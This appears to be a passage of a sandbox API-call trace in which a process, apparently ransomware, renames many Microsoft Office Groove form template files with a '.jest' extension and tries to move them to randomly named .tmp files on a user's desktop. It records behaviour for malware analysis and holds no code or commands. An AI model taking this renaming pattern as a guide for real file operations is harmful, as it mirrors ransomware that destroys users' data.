0x0 [0169.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.jest")) returned 1 [0169.065] VarBstrFromR4 (in: fltIn=0x4794594f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.62") returned 0x0 [0169.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wZD9t1wOs2KPVSmb1ePsfT5M4sps326mQlTxDQ6TDjtwmZ kH7SlUVSkye0Tzc0-qRk6EQXF8xlE0SSpLU6AlQKuySBRoc1ohvh21.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wzd9t1wos2kpvsmb1epsft5m4sps326mqltxdq6tdjtwmz kh7sluvskye0tzc0-qrk6eqxf8xle0ssplu6alqkuysbroc1ohvh21.tmp")) returned 0 [0169.067] GetLastError () returned 0x2 [0169.067] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.jest")) returned 1 [0169.088] VarBstrFromR4 (in: fltIn=0x47945953, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.65") returned 0x0 [0169.089] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XYXJD8hUv2wM3knzDWCFp_EWD9wiXlQo8WcqLBLCK91S8K80bHjr9Yy7wHf88xNYwgY4P7WiU0ECrjm0q34BztBENtKIoOw89r3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xyxjd8huv2wm3knzdwcfp_ewd9wixlqo8wcqlblck91s8k80bhjr9yy7whf88xnywgy4p7wiu0ecrjm0q34bztbentkioow89r3.tmp")) returned 0 [0169.089] GetLastError () returned 0x2 [0169.090] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.jest")) returned 1 [0169.094] VarBstrFromR4 (in: fltIn=0x47945953, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.65") returned 0x0 [0169.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCDYtPT9HzuN3obempdZIZCrI0jxOY1TZnOSNcPF3EWE8w1ocEy0OY-9CJuuWE8zZOGc1tkVLSo-zM _dEOVWCr5wlVrmmD-VDqa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dcdytpt9hzun3obempdzizcri0jxoy1tznosncpf3ewe8w1ocey0oy-9cjuuwe8zzogc1tkvlso-zm _deovwcr5wlvrmmd-vdqa.tmp")) returned 0 [0169.095] GetLastError () returned 0x2 [0169.095] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.jest")) returned 1 [0169.099] VarBstrFromR4 (in: fltIn=0x47945955, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.66") returned 0x0 [0169.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jERuorf8DOqeQE9M2Xmgd_F7f6dpllY_ChtHBkjOCWL5KJDDipI1qBehKfCi 9Le9ti2fw3s6XIvzApoDGYz1fVkSbq7w7zAG-gb0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeruorf8doqeqe9m2xmgd_f7f6dplly_chthbkjocwl5kjddipi1qbehkfci 9le9ti2fw3s6xivzapodgyz1fvksbq7w7zag-gb0.tmp")) returned 0 [0169.100] GetLastError () returned 0x2 [0169.100] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.jest")) returned 1 [0169.104] VarBstrFromR4 (in: fltIn=0x47945955, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.66") returned 0x0 [0169.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hj0CzjDSBSNRR8Ay41P1Cj-3dZI1_PNjllQs3tbZlLQXNJ6cMq__P9 xYvzVoeJpSZzB4qrS7pZmkHxSkSZtdp0LF4eoOsgUND.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hj0czjdsbsnrr8ay41p1cj-3dzi1_pnjllqs3tbzllqxnj6cmq__p9 xyvzvoejpszzb4qrs7pzmkhxsksztdp0lf4eoosgund.tmp")) returned 0 [0169.105] GetLastError () returned 0x2 [0169.106] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.jest")) returned 1 [0169.109] VarBstrFromR4 (in: fltIn=0x47945955, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.66") returned 0x0 [0169.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B10Jd0MeyjTP8MxQXR5fWHlP5ajouJIQtX8hxwekBDOE4bgW6fRHlowpFQX5Z6IK0SKUNHE5BQrc5ke4DcwPCgaZGzqeGiTYEhX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b10jd0meyjtp8mxqxr5fwhlp5ajoujiqtx8hxwekbdoe4bgw6frhlowpfqx5z6ik0skunhe5bqrc5ke4dcwpcgazgzqegityehx.tmp")) returned 0 [0169.110] GetLastError () returned 0x2 [0169.110] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.jest")) returned 1 [0169.114] VarBstrFromR4 (in: fltIn=0x47945957, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.68") returned 0x0 [0169.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DTrl42nnW6zbuK9 c_bKNdtlWWqhmDAVM2VTlZruNeBLpUdeRDx-SrpKY_oQlGuT_Q1SlHxj9qHz8ugQVzGv8D3pmVUwLH1imhOF0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dtrl42nnw6zbuk9 c_bkndtlwwqhmdavm2vtlzruneblpuderdx-srpky_oqlgut_q1slhxj9qhz8ugqvzgv8d3pmvuwlh1imhof0.tmp")) returned 0 [0169.115] GetLastError () returned 0x2 [0169.116] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.jest")) returned 1 [0169.119] VarBstrFromR4 (in: fltIn=0x47945957, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.68") returned 0x0 [0169.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nJ zm97xEKjCqmxkdSZhVhXehwe4uXCXq0JbfQ9e9RdXSplaqdi6h200OxR_3vKId0DxzQWxxy_ Du2 68yufbADytz0XcinqMvk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nj zm97xekjcqmxkdszhvhxehwe4uxcxq0jbfq9e9rdxsplaqdi6h200oxr_3vkid0dxzqwxxy_ du2 68yufbadytz0xcinqmvk.tmp")) returned 0 [0169.120] GetLastError () returned 0x2 [0169.121] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.jest")) returned 1 [0169.136] VarBstrFromR4 (in: fltIn=0x47945959, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.7") returned 0x0 [0169.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uar5pRpTtW m-oKlduEZI_vVYixpWEWqER66bmK-OV0o1goXRLEfQ2zQcNbhQ_7YhNxu72g-LNtuQsCismngxxEu8FoK_OKDdAxp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uar5prpttw m-oklduezi_vvyixpwewqer66bmk-ov0o1goxrlefq2zqcnbhq_7yhnxu72g-lntuqscismngxxeu8fok_okddaxp.tmp")) returned 0 [0169.138] GetLastError () returned 0x2 [0169.139] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css.jest")) returned 1 [0169.147] VarBstrFromR4 (in: fltIn=0x4794595b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.71") returned 0x0 [0169.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0WMUpSb25PYKPk9jAZHw8A7WJeuB44PyJoJvXh0WJWZDc uznK0txsKBoZiTP_KcM94KZz Th5909s4J-rmSDKSk24L7vD8BJu0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0wmupsb25pykpk9jazhw8a7wjeub44pyjojvxh0wjwzdc uznk0txskbozitp_kcm94kzz th5909s4j-rmsdksk24l7vd8bju0.tmp")) returned 0 [0169.149] GetLastError () returned 0x2 [0169.149] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.151] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.jest")) returned 1 [0169.153] VarBstrFromR4 (in: fltIn=0x4794595b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.71") returned 0x0 [0169.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9WEbJ8uJFVz4YJUCRbI_X3t-qxXpnQ7OmiRmon8agkPpH4mKvC2ooCLfcrE0VWD7SGLoY-FgXSuiN1JnKNJWikPP sbqnlWKC_Mt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9webj8ujfvz4yjucrbi_x3t-qxxpnq7omirmon8agkpph4mkvc2ooclfcre0vwd7sgloy-fgxsuin1jnknjwikpp sbqnlwkc_mt.tmp")) returned 0 [0169.155] GetLastError () returned 0x2 [0169.155] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.jest")) returned 1 [0169.159] VarBstrFromR4 (in: fltIn=0x4794595b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.71") returned 0x0 [0169.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eAnimv02ddfzi_KJi_rZm1RY_QOAjwtigvbFDvOqwzxs7KdoeJ6sO04zYDRE1l07DluAHUeeuiyi_VxW5 -QOu-BKiw 0FlP5 D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eanimv02ddfzi_kji_rzm1ry_qoajwtigvbfdvoqwzxs7kdoej6so04zydre1l07dluahueeuiyi_vxw5 -qou-bkiw 0flp5 d.tmp")) returned 0 [0169.160] GetLastError () returned 0x2 [0169.161] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.jest")) returned 1 [0169.169] VarBstrFromR4 (in: fltIn=0x4794595d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.73") returned 0x0 [0169.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kcKTNdM h-kbdGpFL7UkNs8MmHFqZLRFz7sWK5iSwxSD9ttXhb-4kKNAUQ8lE81O4J-MEOePW17IxvuIKIZERZ xqQdFg51_1eMx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kcktndm h-kbdgpfl7ukns8mmhfqzlrfz7swk5iswxsd9ttxhb-4kknauq8le81o4j-meoepw17ixvuikizerz xqqdfg51_1emx.tmp")) returned 0 [0169.171] GetLastError () returned 0x2 [0169.171] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.jest")) returned 1 [0169.175] VarBstrFromR4 (in: fltIn=0x4794595d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.73") returned 0x0 [0169.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 